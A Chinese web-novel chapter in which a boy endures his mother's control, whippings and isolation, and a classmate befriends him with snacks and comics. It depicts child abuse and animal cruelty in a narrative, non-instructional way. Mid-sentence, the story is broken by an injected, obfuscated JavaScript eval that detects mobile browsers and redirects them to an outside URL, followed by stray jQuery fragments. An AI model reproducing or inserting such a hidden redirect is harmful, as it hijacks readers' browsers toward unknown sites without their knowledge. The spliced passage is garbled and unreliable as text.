初二那年，江澄一第三次转学。


    他站在办公室外，听江雁岚和班主任交谈。


    江雁岚的声音很好听，温柔优雅，语气却不容置疑，“林老师，请把澄一的座位安排在你们班第一名的旁边。”


    班主任委婉拒绝，“澄一妈妈，位置都是同学们自己的选择的，不好强制安排，这不合适。”


    江雁岚的声音变冷，“我们澄一可是全校第一，跟谁坐在一起都行，有什么不合适的？”


    班主任依然坚持，“跟成绩没关系。”


    争论半小时后，江雁岚勉强妥协，“那就给澄一安排一个单独的座位。”


    早自习结束后，班主任在全班面前介绍江澄一。


    “同学们，今天，我们初二三班迎来了一位新同学，大家欢迎！”


    迎着掌声，江澄一走进教室。


    少年身量高而瘦，理着极短的寸头，面无表情，他在黑板上写下三个大字，冲众人微微颔首，“我叫江澄一。”


    说罢，在讲台旁的一张空课桌坐下。


    这张课桌是被单独挪过来的，比第一排还靠前，离讲台不过半米。


    班主任有些尴尬，说了句：“新同学可能比较害羞。”就开始上课。


    下课的时候，大家窃窃私语谈论新同学。


    “他看起来好奇怪。”


    “好像之前是隔壁的第一名。”


    “那为什么要转学？”


    “我朋友在实验中学，听说是他妈妈把老师打了！”


    “不对，我爸爸是那儿的老师，他说是江澄一的妈妈觉得实验老师的水平不行，教不了江澄一……”


    十几岁的孩子还不能很好地控制自己的音量，这些猜测飘进江澄一的耳朵里，他恍若未闻——对于这些讨论，他早就习以为常。


    倒不如说，这样对他来说才是最好的。


    关于他的传言越多，就越没有人会试图跟他交谈。


    但放学的时候，意外还是发生了。


    一个男生走到江澄一身边，向他伸出手，“你好，我是俞斯，三班的班长。”


    他爽朗地笑起来，“以后在学习中有什么困难，都可以来找我！”


    江澄一把作业放进书包，一眼也没有看俞斯，任由那只伸出来的手僵在空中。


    最后，他背上书包站起来，冷冷地说：“不需要。”


    然后毫不犹豫地越过男生，走出教室。


    他知道握住那只手的后果。


    也许是几天、也许是几个礼拜，只要他出了一点错，江雁岚就会发疯似的排查他的周围，指着每一个跟他走得近的同学骂：“是不是你带坏了澄一？你怎么配和他做朋友！”


    既然如此，那为什么要开始呢？


    江澄一今天坐公交回家。


    原本江雁岚应该亲自来接他，可恰巧她有十分重要的工作，只能让他坐公交。


    二十分钟后，他在小区门口下车，往家所在的楼栋走，小区的草地上有人遛狗，以往每次被江雁岚接送，他只能匆匆路过，这次，他停下来看了一会儿。


    他们跟狗玩飞盘，在草地上打闹，一片欢声笑语，江澄一也忍不住微微勾起嘴角。


    快走到楼下时，他的脚步逐渐变慢，最后，在一团暗色的痕迹前停住，笑容也消失。


    两个月前，一窝小猫被江雁岚从十楼摔到这里，变成血肉模糊的一团，血液很快在一场大雨中被冲得无影无踪，可留下的痕迹却如此顽固。


    他看了很久，才重新抬步，走向楼内。


    回到家时，江雁岚正在客厅等着。


    她的神色很冰冷，“过来。”


    江澄一走过去，站在她的面前。


    “五点半放学，坐公交二十分钟，再加上等车和步行的时间，你最迟六点十分到家，现在已经六点半了。”


    “为什么晚了二十分钟，是不是跟同学出去玩了？”


    江澄一没有回答。


    江雁岚声音软下来，“澄一，妈妈就是担心你，怕你在外面遇到危险。”


    江澄一依旧沉默。


    江雁岚深呼吸，努力露出微笑，“澄一，乖一点，不要逼妈妈。”


    可回应她的仍是一片寂静。


    她再也无法忍受，站起来，胸膛剧烈起伏，呼吸急促，指向客厅中央地板上的一个垫子，“给我跪下！”


    江澄一动作熟练地跪下，顺便把上衣脱了，露出清瘦的脊背。


    脊背上有许多道细长的疤痕，或深或浅，纵横交错。


    江雁岚取来一根细细的、光亮的竹鞭，用尽全力往江澄一的脊背抽去。


    一道血痕瞬间显现，江澄一双手握拳，下颚紧绷，没有发出一点声音。


    “说不说？”


    没有回答。


    第二鞭比第一鞭的力气更大，几乎是立刻出了血。


    每抽一鞭，她都会问一句“说不说。”


    最后，江澄一被抽得满脊背血痕，汗把垫子都浸湿，也没有说一句话。


    江雁岚崩溃了，她把鞭子扔下，抱住江澄一哭得满脸都是泪，好像痛的是她一样。


    “澄一，妈妈也是为了你好，你可以理解妈妈的对不对？”


    -


    第二天，江雁岚送江澄一上学，要求班主任调出昨天放学的监控，她要找出是谁勾住了江澄一。


    班主任当然不同意，两个人发生了激烈的争吵，江雁岚的尖叫从门缝刺出来。


    “我不允许任何人带坏澄一！”


    今天是个很好的天气，太阳明亮却不刺眼，微风吹过，樟树沙沙作响。


    江澄一站在走廊的阴影里，望着墙角蛛网上的一只小虫，视线仿佛凝固。


    他想：这种生活到底还要持续多久。


    -


    初三，班上升来一个新同学。


    他在黑板上写下自己的名字“程诺”，冲大家咧嘴笑起来，露出一口白牙。


    “大家好，我叫程诺，喜欢篮球、足球、喜欢打游戏，家里有好多游戏，大家感兴趣的话，可以去我家玩！”


    程诺坐在江澄一的后面。


    他的“朋友”很多，一下课身边就围满了人，叽叽喳喳地吹捧，向他借游戏、借钱，把江澄一吵得不堪其扰。


    他还是个讨人厌的自来熟，时不时带上一大袋零食在班上分，总要往江澄一的桌上扔一袋，每一次，江澄一都会还回去。


    可下一次，仍然乐此不疲。


    两个月后，在程诺的某位“朋友”再度向他借钱时，江澄一忍不住出声了。


    “这是他第四次向你借钱了，你确定他会还？”


    “诶？”程诺挠脑袋，“可我们是朋友啊，他应该会还的吧？”


    江澄一冷冷地瞥了程诺一眼，像在看一个弱智，“朋友？在他眼里，你估计就是个人傻钱多的冤大头。”


    第二天，程诺垂头丧气地来上学。


    “你说得对，我让他们还钱，他们都嘲笑我，骂我是个傻子。”


    他拿出一大袋零食，“给，谢谢你提醒我。”


    江澄一拒绝，“不要。”


    他扭扭捏捏说出目的，“其实，我想跟你做朋友。”


    江澄一再次拒绝，“不做。”


    “做嘛做嘛”


    程诺极力推销自己，“我家里有篮球场、按摩浴缸、有好多好多漫画和游戏，还有好多零食，对了，我家阿姨做的菜也特别好吃，你想怎么吃怎么吃、怎么玩就怎么玩！”


    程诺又把零食袋打开给他展示，“这些零食都是我精挑细选出来的！”


    “这个巧克力里面有坚果，吃起来特别香；还有这个薯片，又薄又脆；这个水果糖是爆浆的；还有……”


    江澄一盯着那一袋子新奇的、从未见过的零食，最终开口，“我带不回家。”


    江雁岚严格控制江澄一的饮食，从小到大，江澄一连在外面吃饭的次数都很少，更是从未吃过零食。


    三年级的时候，他用捡到的五毛钱买了一根棒棒糖，才刚舔了一口，就被江雁岚发现，结局是棒棒糖被扔进垃圾桶，他被扇了两巴掌，口腔被牙齿磕破，流了一嘴的血。


    程诺恍然大悟，“是因为你妈妈吧。”


    他拍拍胸脯，“没事，零食放我这里，你想吃的时候就在我这里拿！”


    他从袋子里掏出一粒糖，“喏，给你，这是我最喜欢的糖。”


    江澄一犹豫片刻，接过，剥开糖纸，把那粒晶莹剔透的水果糖送进嘴里，然后立刻皱起眉。


    不是他偷偷尝试过的、白砂糖那样纯粹的甜味；也不是回忆中的铁腥味，而是一种浓郁的酸甜风味，他尝到了很多种水果的味道，橙子、苹果、葡萄——


    他从未吃过如此刺激的东西。


    看见江澄一的神色，程诺很疑惑，“怎么了，很难吃吗？”


    “不，”他摇摇头，缓缓开口，“很好吃。”


    原来糖是这种味道。


    -


    程诺开始给江澄一带各种零食。


    各种口味的薯片、糖果、辣条、牛肉干、巧克力……


    江澄一每天只吃一种，吃的时候，他总是很认真，每一口都仔细品尝，好像要牢牢记住它的味道。


    他还给江澄一带小说，“金庸的天龙八部，好看是好看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529219|180406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，就是字太多了，看不下去。”


    他又拿出一本海贼王的漫画，“还是这个看着舒服。”


    程诺老是向江澄一要作业抄。


    江澄一一开始会拒绝，“再这样下去，你连高中都上不了。”


    程诺满不在乎，“没事，我都跟我爸说好了，到时候你去哪个高中，他就给哪个高中捐一栋楼，保证和你一个班。”


    “你父母不在乎？”


    “我爸妈说，只要我健健康康遵纪守法不闯祸就好，成绩不重要。”


    江澄一沉默了。


    程诺于是乐滋滋地拿过他的作业抄起来。


    程诺还想邀请江澄一去他家打篮球，可每天放学，看见站在门口的江雁岚，就忍不住怂了，连话也不敢说一句。


    这时候，江澄一会假装和程诺是陌生人。


    他整理书包，目不斜视地走出教室，不会跟程诺有任何一丝眼神交流。


    可他们的友情还是被发现了。


    原因是江雁岚发现江澄一身上有薯片的气味。


    她请了一整天假，把江澄一送到学校，假装离开后又返回，藏在窗户后观察。


    在一节课间，程诺把一包薯片递给江澄一时，她猛地冲进教室，拿起薯片，扔在程诺脸上。


    她骂程诺不要脸、小杂种，用这种垃圾引诱江澄一。


    程诺一脸茫然，他的额头被薯片袋子划出一道细细的血痕，正在往下流血。


    她伸出手，想给程诺一巴掌，被江澄一挡住。


    江澄一说：“跟他没关系，是我主动的。”


    江雁岚的神色从愤怒转为伤心。


    她呜呜地哭起来，“澄一，你为什么要这样堕落，你知道妈妈为你付出了多少，你是在报复我对吗……”


    江澄一在全班同学的注视中攥起拳头，沉默不语。


    这件事最终以程诺被调换座位收场。


    第二天，江澄一顶着满背的伤痕，一瘸一拐走进教室，路过程诺时，他趴在桌子上，头都没有抬起来。


    江澄一坐到座位，拿出课本，开始早读。


    身后新调来的同学战战兢兢，读书的声音都很小，很害怕打扰到江澄一的样子。


    读到一半，他感受到一道目光，转头看去，程诺慌忙低头，好像生怕被他看到。


    没什么不好的。


    江澄一想，以前不是经历过很多次吗，这次也没什么不同。


    被他的母亲那样对待，感到害怕，想要退缩是非常正常的事。


    倒不如说，在这种情况下，还愿意靠近他的，才有问题吧。


    至少，他知道了糖是什么味道，吃过辣条，看过两本武侠小说。


    这样也足够了。


    他扯开嘴角，想笑一笑，可怎么也笑不出来。


    第四天的课间，程诺却又来到他的桌旁，拿出一把糖，“我爸从俄罗斯带的，你尝尝！”


    他长长舒了一口气，“这几天你妈一直在窗户外面盯着你，给我吓的，都不敢往你这边多看，今天总算走了！”


    江澄一怔怔地望着程诺，“你为什么还愿意……”


    “愿意什么？”


    他抿唇，“愿意跟我做朋友。”


    “那天的事，你不怕吗？”


    “怕什么，大不了小心点。”


    程诺拍拍胸脯，“真正的朋友，怎么会因为这点事就退缩！”


    “来，快尝尝，味道怎么样？”


    江澄一吃下一粒糖，“好吃。”


    程诺也剥开一粒，“我就说吧。”


    他嘎吱嘎吱地嚼着糖果，忽然开口：“江澄一，虽然我没有经历过不能吃零食、打游戏、看小说的生活，但我知道，那一定很难受。”


    顿了顿，他又说：“如果我不跟你交朋友的话，你就吃不到零食，也看不到小说了，太可怜了。”


    像被一道惊雷劈中，江澄一猛地愣住。


    口腔中，浓郁香甜的巧克力忽然变得苦涩至极。


    那一刻，他突然意识到，自己确实是一个可怜的人。


    这份可怜不在于母亲对待他的方式，在于他沉默地、不知反抗地屈服了十二年。


    江澄一咽下苦涩的糖，“你教我打篮球吧。”


    “好啊，我早就这么想了！”


    “不过，”程诺苦恼道：“你妈一放学就守在教室门口，不好溜。”


    “不用等放学。”


    江澄一把书收进包里，“下一节是体育课。”


    “体育课怎么了？”


    他背上书包，站起来，看向程诺，微微笑起来。


    “我们逃课。”